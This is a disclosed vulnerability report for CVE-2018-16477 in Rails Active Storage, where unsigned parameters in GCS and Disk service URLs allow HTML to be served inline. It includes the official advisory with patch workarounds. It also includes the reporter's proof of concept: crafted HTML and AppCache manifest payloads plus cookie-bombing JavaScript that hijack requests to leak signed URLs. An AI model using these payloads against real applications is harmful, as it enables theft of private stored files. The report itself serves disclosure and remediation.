Loading HuntDB...

ActiveStorage service's signed URLs can be hijacked via AppCache+Cookie stuffing trick when using GCS or DiskService

High
R
Ruby on Rails
Submitted None

Team Summary

Official summary from Ruby on Rails

# Bypass vulnerability in Active Storage There is a vulnerability in Active Storage. This vulnerability has been assigned the CVE identifier CVE-2018-16477. Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 5.2.1.1 Impact ------ Signed download URLs generated by `ActiveStorage` for Google Cloud Storage service and Disk service include `content-disposition` and `content-type` parameters that an attacker can modify. This can be used to upload specially crafted HTML files and have them served and executed inline. Combined with other techniques such as cookie bombing and specially crafted AppCache manifests, an attacker can gain access to private signed URLs within a specific storage path. Vulnerable apps are those using either GCS or the Disk service in production. Other storage services such as S3 or Azure aren't affected. All users running an affected release should either upgrade or use one of the workarounds immediately. For those using GCS, it's also recommended to run the following to update existing blobs: ``` ActiveStorage::Blob.find_each do |blob| blob.send :update_service_metadata end ``` Releases -------- The FIXED releases are available at the normal locations. Workarounds ----------- Putting the following monkey patches in an intializer can help to mitigate the issue: For GCS service: ``` require 'active_storage' require 'active_storage/service/gcs_service' module ActiveStorage module GCSMetadata def upload(key, io, checksum: nil, content_type: nil, disposition: nil, filename: nil) instrument :upload, key: key, checksum: checksum do begin content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename bucket.create_file(io, key, md5: checksum, content_type: content_type, content_disposition: content_disposition) rescue Google::Cloud::InvalidArgumentError raise ActiveStorage::IntegrityError end end end def update_metadata(key, content_type:, disposition: nil, filename: nil) instrument :update_metadata, key: key, content_type: content_type, disposition: disposition do file_for(key).update do |file| file.content_type = content_type if disposition && filename file.content_disposition = content_disposition_with(type: disposition, filename: filename) end end end end end module StoreMetadata def upload_without_unfurling(io) service.upload key, io, checksum: checksum, **service_metadata end def identify unless identified? update! content_type: identify_content_type, identified: true update_service_metadata end end private def service_metadata if forcibly_serve_as_binary? { content_type: "application/octet-stream", disposition: :attachment, filename: filename } else { content_type: content_type } end end def update_service_metadata service.update_metadata key, service_metadata if service_metadata.any? end end end Rails.application.config.to_prepare do ActiveStorage::Service::GCSService.prepend ActiveStorage::GCSMetadata ActiveStorage::Blob.prepend ActiveStorage::StoreMetadata end ``` For Disk service: ``` require 'active_storage' require 'active_storage/service/disk_service' module ActiveStorage module GetParamsFromKey def show if key = decode_verified_key serve_file disk_service.path_for(key[:key]), content_type: key[:content_type], disposition: key[:disposition] else super end rescue Errno::ENOENT head :not_found end end module IncludeParamsInKey def upload(key, io, checksum: nil, **) super(key, io, checksum: checksum) end def update_metadata(key, **) end def url(key, expires_in:, filename:, disposition:, content_type:) instrument :url, key: key do |payload| content_disposition = content_disposition_with(type: disposition, filename: filename) verified_key_with_expiration = ActiveStorage.verifier.generate( { key: key, disposition: content_disposition, content_type: content_type }, { expires_in: expires_in, purpose: :blob_key } ) generated_url = url_helpers.rails_disk_service_url(verified_key_with_expiration, host: current_host, disposition: content_disposition, content_type: content_type, filename: filename ) payload[:url] = generated_url generated_url end end end end Rails.application.config.to_prepare do ActiveStorage::DiskController.prepend ActiveStorage::GetParamsFromKey ActiveStorage::Service::DiskService.prepend ActiveStorage::IncludeParamsInKey end ```

Reported by rosa

Vulnerability Details

Technical details and impact analysis

Information Disclosure
`ActiveStorage` tries to force `content-disposition: attachment` for [a list of content-types](https://github.com/rails/rails/blob/2a470d73a75ebf8cd7975e469bd82586d9234442/activestorage/lib/active_storage/engine.rb#L33-L42), including `text/html`. However, `response-content-type` and `response-content-disposition` in GCS and DiskService's URLs aren't signed, which means an attacker can modify them at will. This is not the case for Azure or S3. This can be exploited using `AppCache` and cookie bombing as follows: 1. Upload the following file as `ActiveStorage::Blob` File: fallback.html ``` <html> <script> alert('Your request to the page '+location.href+' is hijacked!'); </script> </html> ``` Grab the service signed URL for it and modify content type and content disposition params to `text/html` and `inline`. 2. Now upload this other file using that URL as fallback: File: manifest.appcache ``` CACHE MANIFEST FALLBACK: /bucket_name/ [fallback_url from previous step] ``` In the same way, grab the signed service URL and modify content disposition and type to ensure it's served inline and as `text/cache-manifest`. 3. Finally, upload this file using the service URL for manifest.appcache: File: main.html ``` <html manifest="[manifest_url from the manifest above]"> Any requests to this bucket will be hijacked. <script> setTimeout(function(){ for(var i = 1e3; i>0; i--){document.cookie = i + '=' + Array(4e3).join('0') + '; path=/'}; }, 3000); </script> </html> ``` Grab the service URL for `main.html`, modify content type and disposition to ensure it's served as `inline` and `text/html`, and trick a user of the Rails app with access to `ActiveStorage` attachments into clicking it. Since it'll be open inline and as HTML, the JS code to overflow the cookies for the service (storage.googleapis.com in the case of GCS) will be executed. Next time the user makes a request for a file under the same bucket as `main.html`, googleapis.com will return an error due to the size of the cookie headers. This will be interpreted as being offline by the browser, which will offer the fallback specified in the manifest. The `fallback.html` above will be opened inline and as HTML as well, and its JS code executed. That code can be made to send `location.href` (the signed URL) to the attacker. ## Impact Gain access to signed URLs for private objects, which in practice means access to those objects, as signed URLs is all that is needed.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Information Disclosure